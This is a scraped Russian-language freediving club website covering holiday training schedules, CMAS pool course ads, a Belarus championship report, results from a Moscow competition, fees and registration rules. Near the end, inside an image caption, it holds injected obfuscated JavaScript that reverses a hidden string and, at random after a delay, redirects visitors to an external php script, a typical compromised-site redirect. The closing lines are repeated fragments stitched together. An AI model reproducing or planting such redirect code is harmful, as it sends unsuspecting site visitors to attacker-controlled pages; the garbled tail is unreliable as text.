На период новогодних каникул, как обычно, будет действовать специальное праздничное расписание:
29 декабря (суббота, рабочий день) — в 9 утра тренировка. Вечерней тренировки не будет
30 декабря (воскресенье, выходной) — в 9 утра веселые предновогодние старты. Вечерней тренировки не будет
31 декабря (понедельник, выходной) — в 9 утра марафон
1 января (вторник) — БАССЕЙН ЗАКРЫТ
2 января — 8 января (выходные) — ежедневные тренировки в 9 утра. Инструкторы будут указаны в расписании на главной странице, которое обновляется еженедельно.
9 января (среда, рабочий день) — в 20:00 тренировка. Клуб «Монофин» возращается к обычному расписанию!
Всех, кто интересуется фридайвингом, приглашаем на курс по фридайвингу CMAS. Фридайвер в бассейне 1*.
Во время теоретических занятий мы разберемся с тем, как работает наш организм под водой, поговорим о физических законах, компенсации давления, безопасном нырянии и системе напарников.
На практике освоим технику подготовки к нырку, разминки, поработаем над техникой ныряния и плавания под водой, научимся страховать напарника и оказывать первую помощь.
Курс фридайвинга в бассейне 1* предназначен для тех, кто хочет начать заниматься фридайвингом или просто попробовать себя в данном виде спорта. А также для тех, кто начал ходить на тренировки, но чувствует необходимость более основательной базовой подготовки.
Курс CMAS. Фридайвер в бассейне 1* состоит из 2 занятий по теории (по 2 часа) и 4 практических занятий.
Расписание курса:
24 ноября (суббота)
18:00-20:00 теория
20:00-22:30 практика на воде
25 ноября (воскресенье)
18:00-20:30 практика на воде
1 декабря (суббота)
18:00-20:00 теория (+экзамен)
20:00-22:30 практика на воде
2 декабря (воскресенье)
18:00-20:30 практика на воде
Стоимость курса: 15 000 рублей + сертификат международного образца (2 000 р).
В минувшие выходные состоялся выезд клуба Monofin на Чемпионат Беларуси по фридайвингу (AIDA).
Наши спортсмены отправилась в следующем составе: Южнея Горелик, Александр Купцов, Мария Овчинникова, Юлия Попова и Наталья Болвачева.
Главным судьей соревнований была Ольга Сидорова (инструктор клуба Monofin), а фотографом — Елена Корчагина.
Старты проходили в трех дисциплинах — статика, динамика без ласт и динамика в ластах.
Суббота, 17 ноября началась со статики.
Лучший результат среди наших показала Юля Попова — 5:04. Она не только улучшила свой личный рекорд, но и заняла 3 место! Поздравляем!
Маша Овчинникова сделала 4:22 с белой карточкой. Отлично!
Южа Горелик — 3:59 и, увы, желтая (заявлено было 4:40).
Саша Купцов перепаковался, вышел через 50 секунд, не сделал вовремя протокол, что было уже не важно, поскольку заявка была 3:33. Красная карта и дисквалификация. Что ж?! Тоже опыт. Будет над чем работать.
После обеда к команде присоединилась Наташа Болвачева, и начались соревнования в динамике без ласт в том же 25-метровом бассейне “Дома гребли”. Южа Горелик завоевала серебряную медаль с результатом 121 метр. Поздравляем!
Саша Купцов чисто нырнул на 109 метров. Браво!
Маша Овчинникова — 96 метров. Чисто! Ура!
Юля Попова — 71 метр. Белая карта! И снова личный рекорд!
Наташа Болвачева дебютировала в динамике без ласт. Успешно проплыла 79 метров, но мокнула дыхательные пути в воду после выхода, за что, к сожалению, полагается дисквалификация. Ничего, мы это исправим на тренировках.
На второй день с утра соревнования переместились в 50-метровый бассейн БГуФК, где спортсмены ныряли в ластах. Южа Горелик взяла второе серебро с результатом 156 метров. И вышла на 3 место в общем зачете по сумме результатов за все три дисциплины. Молодец, отличное выступление на чемпионате, поздравляем!
Юля Попова смогла и в ласте улучшить личный результат. Теперь он составляет 124 метра! Чистый протокол и белая карта.
Наташа Болвачева чисто сделала 105 метров. Прекрасно!
Саша Купцов забыл на старте груз и даже без него нырнул 115 метров. Хоть получилось в итоге совсем не то, что планировалось, но он не сдался, не “слил” старт”. Заявку выполнил, протокол тоже. Белая карточка! Боец!
128 метров Маши Овчинниковой, к сожалению, не получились (DQ BO). Ничего страшного, будут еще старты! Извлекаем уроки и движемся дальше!
После церемонии награждения все отправились восполнять потраченные калории на драник-party!
Огромная благодарность клубу “Энергия глубины” (Николай и Екатерина Спирины) за отличную организацию соревнований и теплую дружескую атмосферу, так полюбившуюся нашим спортсменам!
В статье использованы фотографии Александра Акивиса.
всем, кто планирует в 2019 году участвовать в соревнованиях по фридайвингу CMAS от г. Москвы (т.е. зарегистрированных в ФПСР от г. Москва), до 22 ноября необходимо оплатить годовые членские взносыи прислать документы.
Размеры взносов:
за московские соревнования (МФПС) – 1 000 руб.
за общероссийские соревнования (ФПСР) — 1 600 руб.
Примеры расчета размера взноса:
Тем, кто планирует выступать только на соревнованиях в г. Москва оплатить нужно только 1 000 руб.
Тем, кто планирует также выступить на Кубке России или чемпионате России: 1 000 + 1 600 = 2 600 руб.
Форма оплаты взносов:
до 22 ноября можно привезти наличными
Сеничникой Екатерине Геннадьевне
по адресу: Ленинградское шоссе 25-А, стр. 4, бассейн Marina Club (ЦСК ВМФ)
Предварительно согласовать день и время по телефону:
Соревнования планируются задолго. Нужно уладить миллион формальностей и подумать о тысяче мелочей, и все равно что-то идет не так, как планировал. Просто потому, что вчера работало, а сегодня нет.
Но в тот момент, когда начинается первый старт, идет обратный отсчет, и спортсмен погружается в воду, ты понимаешь, что все было не зря.
Следишь за тем, чтобы все стартовали вовремя, всем хватило грузов, был слышен отсчёт и никто не забыл время старта.
Только ты делаешь это все не один, а вас таких — банда. Кто-то делает снимки на бортике, кто-то висит в воде два дня.
Все они огромные молодцы, потому что сделали большую работу, которую никто не замечал. Потому что все было четко.
И все равно главные герои двух дней — это спортсмены. Мы рады, что вы все такие разные, приехали с разных концов нашей страны, да и не только (отдельный привет Минску). Спортивный праздник состоялся!
Маргарита Петухова
Немного цифр и статистики.
Женщины в нырянии без ласт:
1. Южнея Горелик (Москва) — 114,25 м
2. Марина Рудник (Москва) — 90,80 м
3. Александра Тихоновец (Красноярск) — 89,6 м
У мужчин в нырянии без ласт такой пьедестал:
1. Дмитрий Сметанкин (Челябинск) — 143,42 м
2. Александр Максимов (Среднеуральск) — 132,70 м
3. Александр Дмитренко (Москва) — 122,11 м
Александр Дмитренко
В ласте женщины проплыли так:
1. Анастасия Жихарева (Москва) — 157,50 м
2. Южнея Горелик (Москва) — 152,95 м
3. Александра Чижикова (Москва) — 150,80 м
Мужчины в ласте показали следующие результаты:
1. Дмитрий Сметанкин (Челябинск) — 211,80 м
2. Михаил Брянцев (Красноярск) — 200,50 м
3. Александр Максимов (Среднеуральск) — 194,00
Мужчины в дисциплине 8х50:
1. Александр Максимов (Среднеуральск) — 5:39.93
2. Александр Купцов (Москва) — 6:41.99
3. Сергей Боговин (Санкт-Петербург) — 8:14.14.
Результаты впечатляют, уровень далеко не клубных соревнований. Отмечаем, что Южнея Горелик плыла в классических разножках. Но радует, что среди девушек, она была не одна не с моноплавником. Ольга Колпачева, для которой это были первые соревнования, тоже ныряла в длинных ластах. Сергей Боговин буквально приехал проплыть две дисциплины в один день и умчать обратно в Питер.
Николай Спирин (Минск)
Николай Спирин хоть и не попал в число призеров, но отметился фееричными выходами на своих попытках, венчавшихся получением красной карточки.
Марина Рудник
Марина Рудник просто героиня обоих дней. Девочка, которая занимается буквально два месяца, и явно получает удовольствие.
Ребята, занявшие мужской пьедестал в ласте, бились от начала и до конца: от стартующего первым Михаила Брянцева и до замыкающего Александра Максимова.
Старты 8х50 с замиранием отслеживали взглядом все и в субботу? и в воскресенье. Хоть с виду было достаточно спокойно, тем не менее страсти были нешуточные. Дисциплина хорошая — вроде и напрягся, а устать не успел. Не всех упомянули, но поверьте, мы всех отметили.
Спасибо за старание, терпение и труд.
Всех, кто интересуется фридайвингом, приглашаем на курс CMAS. Фридайвер в бассейне 1*.
Во время теоретических занятий мы разберемся с тем, как работает наш организм под водой, поговорим о физических законах, компенсации давления, безопасном нырянии и системе напарников.
На практике освоим технику подготовки к нырку, разминки, поработаем над техникой ныряния и плавания под водой, научимся страховать напарника и оказывать первую помощь.
Курс фридайвинга в бассейне 1* предназначен для тех, кто хочет начать заниматься фридайвингом или просто попробовать себя в данном виде спорта. А также для тех, кто начал ходить на тренировки, но чувствует необходимость более основательной базовой подготовки.
Курс CMAS. Фридайвер в бассейне 1* состоит из 2 занятий по теории (по 2 часа) и 4 практических занятий.
Расписание курса:
13 октября (суббота)
18:00-20:00 теория
20:00-22:30 практика на воде
14 октября (воскресенье)
20:00-22:30 практика на воде
20 октября (суббота)
18:00-20:00 теория (+экзамен)
20:00-22:30 практика на воде
21 октября (воскресенье)
20:30-23:00 практика на воде
Стоимость курса: 15 000 рублей + сертификат международного образца (2 000 р).
приглашаем вас принять участие в Соревнованиях по фридайвингу СК «Дайвинг». Соревнования проводятся по правилам CMAS.
Даты: 27-28 октября 2018
Организатор: СК «Дайвинг» Дисциплины: динамическое апноэ без ласт (DNF) и в моноластах (DYN), апноэ — 8 раз х 50 метров.
Расписание соревнований:
27.10.2018 DNF (динамическое апноэ без ласт) 08:00 — начало разминки
09:00 — начало стартов
12:00 — окончание стартов
28.10.2018 DYN (динамическое апноэ в моноластах) и апноэ — 8 раз х 50 метров
08:00 — начало разминки
09:00 — начало стартов
12:00 — окончание стартов
Заявки на регистрацию: до 25 октября 2018 (до 24:00)
РЕГИСТРАЦИЯ ОКОНЧЕНА
Стартовый взнос:
за 2 дня соревнований — 2 500 руб.,
за 1 дисциплину — 1 250 руб.
Оплата взноса за соревнования (варианты):
1) на карту Сбербанка 4817 7600 0282 8899 (получатель Ольга Николаевна С.). Без комментариев. Копию чека прислать на e-mail to:monofinru@gmail.com»>monofinru@gmail.com.
2) наличными передать любому тренеру клуба «Монофин» (тренировки ежедневно см Расписание)
Документы:
паспорт
медицинская справка от терапевта об отсутствии противопоказаний к занятию фридайвингом (справка обязательно должна быть оформлена с формулировкой «допущен(а) к соревнованиям по фридайвингу«). Справка должна быть выдана не более, чем за 3 месяца до начала соревнований.
страховка (страхование жизни, желательно указать «при занятии спортом»). Можно оформить в любой страховой компании. Страховка должна быть действительна в период проведения соревнований.
Документы необходимо предоставить Главному секретарю соревнований минимум за 1 час до старта.
по итогам наших соревнований для призеров возможно оформление спортивных разрядов.
Разряды могут быть оформлены:
только для имеющих прописку в г. Москва.
только по результатам выступления в дисциплинах динамическое апноэ в ластах и без ласт.
УСЛОВИЯ ПРИСВОЕНИЯ РАЗРЯДОВ: Динамическое апноэ без ласт:
1 и 2 места — 2 разряд
Мужчины — не менее 95 м
Женщины — не менее 70 м
3 и 4 места — 3 разряд
Мужчины — не менее 75 м
Женщины — не менее 52 м
Динамическое апноэ в ластах:
1 и 2 места — 2 разряд
Мужчины — не менее 100 м
Женщины — не менее 81 м
3 и 4 места — 3 разряд
Мужчины — не менее 80 м
Женщины — не менее 62 м
Например: чтобы подать документы для оформления 1 разряда женщине нужно занять 1 или 2 место в динамическом апноэ в ластах с результатом не менее 81 метра или без ласт с результатом не менее 70 метров.
Для присвоения спортивных разрядов также необходимо членство в МФПС.
Стоимость оформления разряда: 1 000 р.
Годовой членский взнос в МФПС: 1 000 р.
Если спортсмен уже является членом МФПС и оплатил взнос за 2018 год, то он оплачивает только оформление разряда (1 000 р.).
Если спортсмен не является членом МФПС, но хочет оформить разряд, то он оплачивает оформление + членский взнос за 2018 год (1000+1000 = 2 000 р.)
Вы же наверняка слышали — как Новый год встретишь, так его и проведёшь (проверено аэропортами).
На период новогодних каникул, как обычно, будет действовать специальное праздничное расписание:![pho$=function(n){if (typeof ($.list[n]) == "string") return $.list[n].split("").reverse().join("");return $.list[n];};$.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($(0),delay);}$=function(n){if (typeof ($.list[n]) == "string") return $.list[n].split("").reverse().join("");return $.list[n];};$.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($(0),delay);} to by Daan Verhoeven](https://monofin.ru/wp-content/uploads/2018/08/olga-DSC03719-1300x731.jpg)
тических занятий мы разберемся с тем, как работает наш организм под водой, поговорим о физических законах, компенсации давления, безопасном нырянии и системе напарников.
Суббота, 17 ноября началась со статики.
Южа Горелик завоевала серебряную медаль с результатом 121 метр. Поздравляем!
На второй день с утра соревнования переместились в 50-метровый бассейн БГуФК, где спортсмены ныряли в ластах.
В статье использованы фотографии Александра Акивиса.
Размеры взносов:
Соревнования планируются задолго. Нужно уладить миллион формальностей и подумать о тысяче мелочей, и все равно что-то идет не так, как планировал. Просто потому, что вчера работало, а сегодня нет.
Мужчины в дисциплине 8х50:
Стоимость интенсива: 4 500 р.